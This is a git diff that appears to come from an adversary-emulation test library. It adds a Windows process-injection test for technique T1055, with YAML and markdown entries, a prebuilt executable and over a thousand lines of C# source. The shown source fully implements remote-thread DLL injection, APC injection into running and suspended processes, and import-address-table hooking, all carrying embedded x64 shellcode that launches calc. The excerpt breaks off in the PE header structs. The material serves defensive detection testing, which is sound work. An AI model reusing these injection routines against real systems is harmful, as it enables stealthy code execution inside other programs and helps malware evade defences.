diff --git a/atomics/T1055/T1055.md b/atomics/T1055/T1055.md
index 1d06a5d4..84785962 100644
--- a/atomics/T1055/T1055.md
+++ b/atomics/T1055/T1055.md
@@ -31,6 +31,8 @@ Malware commonly utilizes process injection to access system resources through w
- [Atomic Test #3 - Shared Library Injection via /etc/ld.so.preload](#atomic-test-3---shared-library-injection-via-etcldsopreload)
+- [Atomic Test #4 - Process Injection via C#](#atomic-test-4---process-injection-via-c)
+
@@ -88,3 +90,28 @@ This test adds a shared library to the `ld.so.preload` list to execute and inter
echo #{path_to_shared_library} > /etc/ld.so.preload
```
+
+
+## Atomic Test #4 - Process Injection via C#
+Process Injection using C#
+reference: https://github.com/pwndizzle/c-sharp-memory-injection
+Excercises Five Techniques
+1. Process injection
+2. ApcInjectionAnyProcess
+3. ApcInjectionNewProcess
+4. IatInjection
+5. ThreadHijack
+
+**Supported Platforms:** Windows
+
+
+#### Inputs
+| Name | Description | Type | Default Value |
+|------|-------------|------|---------------|
+| exe_binary | Output Binary | Path | T1055.exe|
+
+#### Run it with `command_prompt`!
+```
+.\bin\#{exe_binary}
+```
+
diff --git a/atomics/T1055/T1055.yaml b/atomics/T1055/T1055.yaml
index f9cfd9b5..c7267e43 100644
--- a/atomics/T1055/T1055.yaml
+++ b/atomics/T1055/T1055.yaml
@@ -59,3 +59,26 @@ atomic_tests:
name: bash
command: |
echo #{path_to_shared_library} > /etc/ld.so.preload
+- name: Process Injection via C#
+ description: |
+ Process Injection using C#
+ reference: https://github.com/pwndizzle/c-sharp-memory-injection
+ Excercises Five Techniques
+ 1. Process injection
+ 2. ApcInjectionAnyProcess
+ 3. ApcInjectionNewProcess
+ 4. IatInjection
+ 5. ThreadHijack
+
+ supported_platforms:
+ - windows
+
+ input_arguments:
+ exe_binary:
+ description: Output Binary
+ type: Path
+ default: T1055.exe
+ executor:
+ name: command_prompt
+ command: |
+ .\bin\#{exe_binary}
diff --git a/atomics/T1055/bin/T1055.exe b/atomics/T1055/bin/T1055.exe
new file mode 100755
index 00000000..45cbf995
Binary files /dev/null and b/atomics/T1055/bin/T1055.exe differ
diff --git a/atomics/T1055/src/T1055.cs b/atomics/T1055/src/T1055.cs
new file mode 100644
index 00000000..9f43822f
--- /dev/null
+++ b/atomics/T1055/src/T1055.cs
@@ -0,0 +1,1147 @@
+//Atomic Process Injection Tests
+//xref: https://github.com/pwndizzle/c-sharp-memory-injection
+
+// https://github.com/peterferrie/win-exec-calc-shellcode
+
+// To run:
+// 1. Compile code - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:..\bin\T1055.exe T1055.cs
+//
+
+
+
+using System;
+using System.Reflection;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+using System.IO;
+using System.IO.Compression;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Text;
+
+public class ProcessInject
+{
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
+
+ [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
+ public static extern IntPtr GetModuleHandle(string lpModuleName);
+
+ [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
+ static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
+
+ [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
+ static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,uint dwSize, uint flAllocationType, uint flProtect);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
+
+ [DllImport("kernel32.dll")]
+ static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead);
+
+ [DllImport("kernel32.dll")]
+ static extern IntPtr CreateRemoteThread(IntPtr hProcess,
+ IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
+
+ // privileges
+ const int PROCESS_CREATE_THREAD = 0x0002;
+ const int PROCESS_QUERY_INFORMATION = 0x0400;
+ const int PROCESS_VM_OPERATION = 0x0008;
+ const int PROCESS_VM_WRITE = 0x0020;
+ const int PROCESS_VM_READ = 0x0010;
+
+ // used for memory allocation
+ const uint MEM_COMMIT = 0x00001000;
+ const uint MEM_RESERVE = 0x00002000;
+ const uint PAGE_READWRITE = 4;
+
+ public static int Inject()
+ {
+
+ // Get process id
+ Console.WriteLine("Get process by name...");
+ System.Diagnostics.Process.Start("notepad");
+ Process targetProcess = Process.GetProcessesByName("notepad")[0];
+
+
+ // Get handle of the process - with required privileges
+
+ IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
+
+
+ // Get address of LoadLibraryA and store in a pointer
+
+ IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
+
+
+ // Path to dll that will be injected
+ string dllName = @"C:\AtomicRedTeam\atomics\T1055\bin\w64-exec-calc-shellcode.dll";
+
+ // Allocate memory for dll path and store pointer
+
+ IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+
+
+ // Write path of dll to memory
+
+ UIntPtr bytesWritten;
+ bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, System.Text.Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
+
+ // Read contents of memory
+ int bytesRead = 0;
+ byte[] buffer = new byte[24];
+
+ ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead);
+ Console.WriteLine("Data in memory: " + System.Text.Encoding.UTF8.GetString(buffer));
+
+ // Create a thread that will call LoadLibraryA with allocMemAddress as argument
+
+ CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);
+
+ return 0;
+ }
+}
+
+public class ApcInjectionAnyProcess
+{
+ public static void Inject()
+ {
+
+ byte[] shellcode = new byte[112] {
+ 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3
+ };
+
+ // Open process. "explorer" is a good target due to the large number of threads which will enter alertable state
+ Process targetProcess = Process.GetProcessesByName("notepad")[0];
+ IntPtr procHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
+
+ // Allocate memory within process and write shellcode
+ IntPtr resultPtr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+ IntPtr bytesWritten = IntPtr.Zero;
+ bool resultBool = WriteProcessMemory(procHandle,resultPtr,shellcode,shellcode.Length, out bytesWritten);
+
+ // Modify memory permissions on shellcode from XRW to XR
+ uint oldProtect = 0;
+ resultBool = VirtualProtectEx(procHandle, resultPtr, shellcode.Length, PAGE_EXECUTE_READ, out oldProtect);
+
+ // Iterate over threads and queueapc
+ foreach (ProcessThread thread in targetProcess.Threads)
+ {
+ //Get handle to thread
+ IntPtr tHandle = OpenThread(ThreadAccess.THREAD_HIJACK, false, (int)thread.Id);
+
+ //Assign APC to thread to execute shellcode
+ IntPtr ptr = QueueUserAPC(resultPtr, tHandle, IntPtr.Zero);
+ }
+ }
+
+ // Memory permissions
+ private static UInt32 MEM_COMMIT = 0x1000;
+ private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
+ //private static UInt32 PAGE_READWRITE = 0x04;
+ private static UInt32 PAGE_EXECUTE_READ = 0x20;
+
+ // Process privileges
+ const int PROCESS_CREATE_THREAD = 0x0002;
+ const int PROCESS_QUERY_INFORMATION = 0x0400;
+ const int PROCESS_VM_OPERATION = 0x0008;
+ const int PROCESS_VM_WRITE = 0x0020;
+ const int PROCESS_VM_READ = 0x0010;
+
+ [Flags]
+ public enum ThreadAccess : int
+ {
+ TERMINATE = (0x0001),
+ SUSPEND_RESUME = (0x0002),
+ GET_CONTEXT = (0x0008),
+ SET_CONTEXT = (0x0010),
+ SET_INFORMATION = (0x0020),
+ QUERY_INFORMATION = (0x0040),
+ SET_THREAD_TOKEN = (0x0080),
+ IMPERSONATE = (0x0100),
+ DIRECT_IMPERSONATION = (0x0200),
+ THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
+ THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
+ }
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
+ int dwThreadId);
+
+ [DllImport("kernel32.dll",SetLastError = true)]
+ public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
+
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
+
+ [DllImport("kernel32")]
+ public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
+ Int32 size, UInt32 flAllocationType, UInt32 flProtect);
+
+ [DllImport("kernel32.dll", SetLastError = true )]
+ public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
+ Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
+
+ [DllImport("kernel32.dll")]
+ public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
+ int dwSize, uint flNewProtect, out uint lpflOldProtect);
+}
+
+public class ApcInjectionNewProcess
+{
+ public static void Inject()
+ {
+
+ byte[] shellcode = new byte[112] {
+ 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3
+ };
+
+ // Target process to inject into
+ string processpath = @"C:\Windows\notepad.exe";
+ STARTUPINFO si = new STARTUPINFO();
+ PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
+
+ // Create new process in suspended state to inject into
+ bool success = CreateProcess(processpath, null,
+ IntPtr.Zero, IntPtr.Zero, false,
+ ProcessCreationFlags.CREATE_SUSPENDED,
+ IntPtr.Zero, null, ref si, out pi);
+
+ // Allocate memory within process and write shellcode
+ IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE);
+ IntPtr bytesWritten = IntPtr.Zero;
+ bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten);
+
+ // Open thread
+ IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
+ uint oldProtect = 0;
+
+ // Modify memory permissions on allocated shellcode
+ resultBool = VirtualProtectEx(pi.hProcess,resultPtr, shellcode.Length,PAGE_EXECUTE_READ, out oldProtect);
+
+ // Assign address of shellcode to the target thread apc queue
+ IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero);
+
+ IntPtr ThreadHandle = pi.hThread;
+ ResumeThread(ThreadHandle);
+
+ }
+
+
+ private static UInt32 MEM_COMMIT = 0x1000;
+
+ //private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //I'm not using this #DFIR ;-)
+ private static UInt32 PAGE_READWRITE = 0x04;
+ private static UInt32 PAGE_EXECUTE_READ = 0x20;
+
+
+ [Flags]
+ public enum ProcessAccessFlags : uint
+ {
+ All = 0x001F0FFF,
+ Terminate = 0x00000001,
+ CreateThread = 0x00000002,
+ VirtualMemoryOperation = 0x00000008,
+ VirtualMemoryRead = 0x00000010,
+ VirtualMemoryWrite = 0x00000020,
+ DuplicateHandle = 0x00000040,
+ CreateProcess = 0x000000080,
+ SetQuota = 0x00000100,
+ SetInformation = 0x00000200,
+ QueryInformation = 0x00000400,
+ QueryLimitedInformation = 0x00001000,
+ Synchronize = 0x00100000
+ }
+
+ [Flags]
+ public enum ProcessCreationFlags : uint
+ {
+ ZERO_FLAG = 0x00000000,
+ CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
+ CREATE_DEFAULT_ERROR_MODE = 0x04000000,
+ CREATE_NEW_CONSOLE = 0x00000010,
+ CREATE_NEW_PROCESS_GROUP = 0x00000200,
+ CREATE_NO_WINDOW = 0x08000000,
+ CREATE_PROTECTED_PROCESS = 0x00040000,
+ CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
+ CREATE_SEPARATE_WOW_VDM = 0x00001000,
+ CREATE_SHARED_WOW_VDM = 0x00001000,
+ CREATE_SUSPENDED = 0x00000004,
+ CREATE_UNICODE_ENVIRONMENT = 0x00000400,
+ DEBUG_ONLY_THIS_PROCESS = 0x00000002,
+ DEBUG_PROCESS = 0x00000001,
+ DETACHED_PROCESS = 0x00000008,
+ EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
+ INHERIT_PARENT_AFFINITY = 0x00010000
+ }
+ public struct PROCESS_INFORMATION
+ {
+ public IntPtr hProcess;
+ public IntPtr hThread;
+ public uint dwProcessId;
+ public uint dwThreadId;
+ }
+ public struct STARTUPINFO
+ {
+ public uint cb;
+ public string lpReserved;
+ public string lpDesktop;
+ public string lpTitle;
+ public uint dwX;
+ public uint dwY;
+ public uint dwXSize;
+ public uint dwYSize;
+ public uint dwXCountChars;
+ public uint dwYCountChars;
+ public uint dwFillAttribute;
+ public uint dwFlags;
+ public short wShowWindow;
+ public short cbReserved2;
+ public IntPtr lpReserved2;
+ public IntPtr hStdInput;
+ public IntPtr hStdOutput;
+ public IntPtr hStdError;
+ }
+
+ [Flags]
+ public enum ThreadAccess : int
+ {
+ TERMINATE = (0x0001) ,
+ SUSPEND_RESUME = (0x0002) ,
+ GET_CONTEXT = (0x0008) ,
+ SET_CONTEXT = (0x0010) ,
+ SET_INFORMATION = (0x0020) ,
+ QUERY_INFORMATION = (0x0040) ,
+ SET_THREAD_TOKEN = (0x0080) ,
+ IMPERSONATE = (0x0100) ,
+ DIRECT_IMPERSONATION = (0x0200)
+ }
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
+ int dwThreadId);
+
+ [DllImport("kernel32.dll",SetLastError = true)]
+ public static extern bool WriteProcessMemory(
+ IntPtr hProcess,
+ IntPtr lpBaseAddress,
+ byte[] lpBuffer,
+ int nSize,
+ out IntPtr lpNumberOfBytesWritten);
+
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
+
+ [DllImport("kernel32")]
+ public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
+ Int32 size, UInt32 flAllocationType, UInt32 flProtect);
+ [DllImport("kernel32.dll", SetLastError = true )]
+ public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
+ Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ public static extern IntPtr OpenProcess(
+ ProcessAccessFlags processAccess,
+ bool bInheritHandle,
+ int processId
+ );
+
+
+ [DllImport("kernel32.dll")]
+ public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
+ [DllImport("kernel32.dll")]
+ public static extern uint ResumeThread(IntPtr hThread);
+ [DllImport("kernel32.dll")]
+ public static extern uint SuspendThread(IntPtr hThread);
+ [DllImport("kernel32.dll")]
+ public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
+ int dwSize, uint flNewProtect, out uint lpflOldProtect);
+}
+
+public class IatInjection
+{
+
+ public static void Inject()
+ {
+ string targetProcName = "notepad";
+ string targetFuncName = "CreateFileW";
+
+ // Get target process id and read memory contents
+ Process process = Process.GetProcessesByName(targetProcName)[0];
+ IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, process.Id);
+ int bytesRead = 0;
+ byte[] fileBytes = new byte[process.WorkingSet64];
+ ReadProcessMemory(hProcess, process.MainModule.BaseAddress, fileBytes, fileBytes.Length, ref bytesRead);
+
+ // The DOS header
+ IMAGE_DOS_HEADER dosHeader;
+
+ // The file header
+ IMAGE_FILE_HEADER fileHeader;
+
+ // Optional 32 bit file header
+ IMAGE_OPTIONAL_HEADER32 optionalHeader32 = new IMAGE_OPTIONAL_HEADER32();
+
+ // Optional 64 bit file header
+ IMAGE_OPTIONAL_HEADER64 optionalHeader64 = new IMAGE_OPTIONAL_HEADER64();
+
+ // Image Section headers
+ IMAGE_SECTION_HEADER[] imageSectionHeaders;
+
+ // Import descriptor for each DLL
+ IMAGE_IMPORT_DESCRIPTOR[] importDescriptors;
+
+ // Convert file bytes to memorystream and use reader
+ MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length);
+ BinaryReader reader = new BinaryReader(stream);
+
+ //Begin parsing structures
+ dosHeader = FromBinaryReader(reader);
+
+ // Add 4 bytes to the offset
+ stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
+
+ UInt32 ntHeadersSignature = reader.ReadUInt32();
+ fileHeader = FromBinaryReader(reader);
+ if (Is32BitHeader(fileHeader))
+ {
+ optionalHeader32 = FromBinaryReader(reader);
+ }
+ else
+ {
+ optionalHeader64 = FromBinaryReader(reader);
+ }
+
+ imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
+ for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
+ {
+ imageSectionHeaders[headerNo] = FromBinaryReader(reader);
+ }
+
+ // Go to ImportTable and parse every imported DLL
+ stream.Seek((long)((ulong)optionalHeader64.ImportTable.VirtualAddress), SeekOrigin.Begin);
+ importDescriptors = new IMAGE_IMPORT_DESCRIPTOR[50];
+
+ for (int i = 0; i < 50; i++)
+ {
+ importDescriptors[i] = FromBinaryReader(reader);
+ }
+ bool flag = false;
+ int j = 0;
+
+ // The below is really hacky, would have been better to use structures!
+ while (j < importDescriptors.Length && !flag)
+ {
+ for (int k = 0; k < 1000; k++)
+ {
+ // Get the address for the function and its name
+
+ stream.Seek(importDescriptors[j].OriginalFirstThunk + (k * 8), SeekOrigin.Begin);
+
+ long nameOffset = reader.ReadInt64();
+ if (nameOffset > 1000000 || nameOffset < 0)
+ {
+ break;
+ }
+
+ // Get the function name
+ stream.Seek(nameOffset + 2, SeekOrigin.Begin);
+ List list = new List();
+ byte[] array;
+ do
+ {
+ array = reader.ReadBytes(1);
+ list.Add(Encoding.Default.GetString(array));
+ }
+ while (array[0] != 0);
+ string curFuncName = string.Join(string.Empty, list.ToArray());
+ curFuncName = curFuncName.Substring(0, curFuncName.Length - 1);
+
+ // Get the offset of the pointer to the target function and its current value
+ long funcOffset = importDescriptors[j].FirstThunk + (k * 8);
+ stream.Seek(funcOffset, SeekOrigin.Begin);
+ long curFuncAddr = reader.ReadInt64();
+
+ // Found target function, modify address to point to shellcode
+ if (curFuncName == targetFuncName)
+ {
+
+ // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode
+ // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin
+ byte[] payload = new byte[111] {
+ 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58
+ };
+
+ // Once shellcode has executed go to real import (mov to rax then jmp to address)
+ byte[] mov_rax = new byte[2] {
+ 0x48, 0xb8
+ };
+ byte[] jmp_address = BitConverter.GetBytes(curFuncAddr);
+ byte[] jmp_rax = new byte[2] {
+ 0xff, 0xe0
+ };
+
+ // Build shellcode
+ byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length];
+ payload.CopyTo(shellcode, 0);
+ mov_rax.CopyTo(shellcode, payload.Length);
+ jmp_address.CopyTo(shellcode, payload.Length+mov_rax.Length);
+ jmp_rax.CopyTo(shellcode, payload.Length+mov_rax.Length+jmp_address.Length);
+
+ // Allocate memory for shellcode
+ IntPtr shellcodeAddress = VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+
+ // Write shellcode to memory
+ IntPtr shellcodeBytesWritten = IntPtr.Zero;
+ WriteProcessMemory(hProcess,shellcodeAddress,shellcode,shellcode.Length, out shellcodeBytesWritten);
+
+ long funcAddress = (long)optionalHeader64.ImageBase + funcOffset;
+
+ // Get current value of IAT
+ bytesRead = 0;
+ byte[] buffer1 = new byte[8];
+ ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer1, buffer1.Length, ref bytesRead);
+
+ // Get shellcode address
+ byte[] shellcodePtr = BitConverter.GetBytes((Int64)shellcodeAddress);
+
+ // Modify permissions to allow IAT modification
+ uint oldProtect = 0;
+ bool protectbool = VirtualProtectEx(hProcess, (IntPtr)funcAddress, shellcodePtr.Length, PAGE_EXECUTE_READWRITE, out oldProtect);
+
+ // Modfiy IAT to point to shellcode
+ IntPtr iatBytesWritten = IntPtr.Zero;
+ bool success = WriteProcessMemory(hProcess, (IntPtr)funcAddress, shellcodePtr, shellcodePtr.Length, out iatBytesWritten);
+
+ // Read IAT to confirm new value
+ bytesRead = 0;
+ byte[] buffer = new byte[8];
+ ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer, buffer.Length, ref bytesRead);
+
+
+ flag = true;
+ break;
+ }
+ }
+ j++;
+ }
+ }
+
+
+ public struct IMAGE_DOS_HEADER
+ { // DOS .EXE header
+ public UInt16 e_magic; // Magic number
+ public UInt16 e_cblp; // Bytes on last page of file
+ public UInt16 e_cp; // Pages in file
+ public UInt16 e_crlc; // Relocations
+ public UInt16 e_cparhdr; // Size of header in paragraphs
+ public UInt16 e_minalloc; // Minimum extra paragraphs needed
+ public UInt16 e_maxalloc; // Maximum extra paragraphs needed
+ public UInt16 e_ss; // Initial (relative) SS value
+ public UInt16 e_sp; // Initial SP value
+ public UInt16 e_csum; // Checksum
+ public UInt16 e_ip; // Initial IP value
+ public UInt16 e_cs; // Initial (relative) CS value
+ public UInt16 e_lfarlc; // File address of relocation table
+ public UInt16 e_ovno; // Overlay number
+ public UInt16 e_res_0; // Reserved words
+ public UInt16 e_res_1; // Reserved words
+ public UInt16 e_res_2; // Reserved words
+ public UInt16 e_res_3; // Reserved words
+ public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
+ public UInt16 e_oeminfo; // OEM information; e_oemid specific
+ public UInt16 e_res2_0; // Reserved words
+ public UInt16 e_res2_1; // Reserved words
+ public UInt16 e_res2_2; // Reserved words
+ public UInt16 e_res2_3; // Reserved words
+ public UInt16 e_res2_4; // Reserved words
+ public UInt16 e_res2_5; // Reserved words
+ public UInt16 e_res2_6; // Reserved words
+ public UInt16 e_res2_7; // Reserved words
+ public UInt16 e_res2_8; // Reserved words
+ public UInt16 e_res2_9; // Reserved words
+ public UInt32 e_lfanew; // File address of new exe header
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct IMAGE_DATA_DIRECTORY
+ {
+ public UInt32 VirtualAddress;
+ public UInt32 Size;
+ }
+
+ [StructLayout(LayoutKind.Sequential, Pack = 1)]
+ public struct IMAGE_OPTIONAL_HEADER32
+ {
+ public UInt16 Magic;
+ public Byte MajorLinkerVersion;
+ public Byte MinorLinkerVersion;
+ public UInt32 SizeOfCode;
+ public UInt32 SizeOfInitializedData;
+ public UInt32 SizeOfUninitializedData;
+ public UInt32 AddressOfEntryPoint;
+ public UInt32 BaseOfCode;
+ public UInt32 BaseOfData;
+ public UInt32 ImageBase;
+ public UInt32 SectionAlignment;
+ public UInt32 FileAlignment;
+ public UInt16 MajorOperatingSystemVersion;
+ public UInt16 MinorOperatingSystemVersion;
+ public UInt16 MajorImageVersion;
+ public UInt16 MinorImageVersion;
+ public UInt16 MajorSubsystemVersion;
+ public UInt16 MinorSubsystemVersion;
+ public UInt32 Win32VersionValue;
+ public UInt32 SizeOfImage;
+ public UInt32 SizeOfHeaders;
+ public UInt32 CheckSum;
+ public UInt16 Subsystem;
+ public UInt16 DllCharacteristics;
+ public UInt32 SizeOfStackReserve;
+ public UInt32 SizeOfStackCommit;
+ public UInt32 SizeOfHeapReserve;
+ public UInt32 SizeOfHeapCommit;
+ public UInt32 LoaderFlags;
+ public UInt32 NumberOfRvaAndSizes;
+
+ public IMAGE_DATA_DIRECTORY ExportTable;
+ public IMAGE_DATA_DIRECTORY ImportTable;
+ public IMAGE_DATA_DIRECTORY ResourceTable;
+ public IMAGE_DATA_DIRECTORY ExceptionTable;
+ public IMAGE_DATA_DIRECTORY CertificateTable;
+ public IMAGE_DATA_DIRECTORY BaseRelocationTable;
+ public IMAGE_DATA_DIRECTORY Debug;
+ public IMAGE_DATA_DIRECTORY Architecture;
+ public IMAGE_DATA_DIRECTORY GlobalPtr;
+ public IMAGE_DATA_DIRECTORY TLSTable;
+ public IMAGE_DATA_DIRECTORY LoadConfigTable;
+ public IMAGE_DATA_DIRECTORY BoundImport;
+ public IMAGE_DATA_DIRECTORY IAT;
+ public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
+ public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
+ public IMAGE_DATA_DIRECTORY Reserved;
+ }
+
+ [StructLayout(LayoutKind.Sequential, Pack = 1)]
+ public struct IMAGE_OPTIONAL_HEADER64
+ {
+ public UInt16 Magic;
+ public Byte MajorLinkerVersion;
+ public Byte MinorLinkerVersion;
+ public UInt32 SizeOfCode;
+ public UInt32 SizeOfInitializedData;
+ public UInt32 SizeOfUninitializedData;
+ public UInt32 AddressOfEntryPoint;
+ public UInt32 BaseOfCode;
+ public UInt64 ImageBase;
+ public UInt32 SectionAlignment;
+ public UInt32 FileAlignment;
+ public UInt16 MajorOperatingSystemVersion;
+ public UInt16 MinorOperatingSystemVersion;
+ public UInt16 MajorImageVersion;
+ public UInt16 MinorImageVersion;
+ public UInt16 MajorSubsystemVersion;
+ public UInt16 MinorSubsystemVersion;
+ public UInt32 Win32VersionValue;
+ public UInt32 SizeOfImage;
+ public UInt32 SizeOfHeaders;
+ public UInt32 CheckSum;
+ public UInt16 Subsystem;
+ public UInt16 DllCharacteristics;
+ public UInt64 SizeOfStackReserve;
+ public UInt64 SizeOfStackCommit;
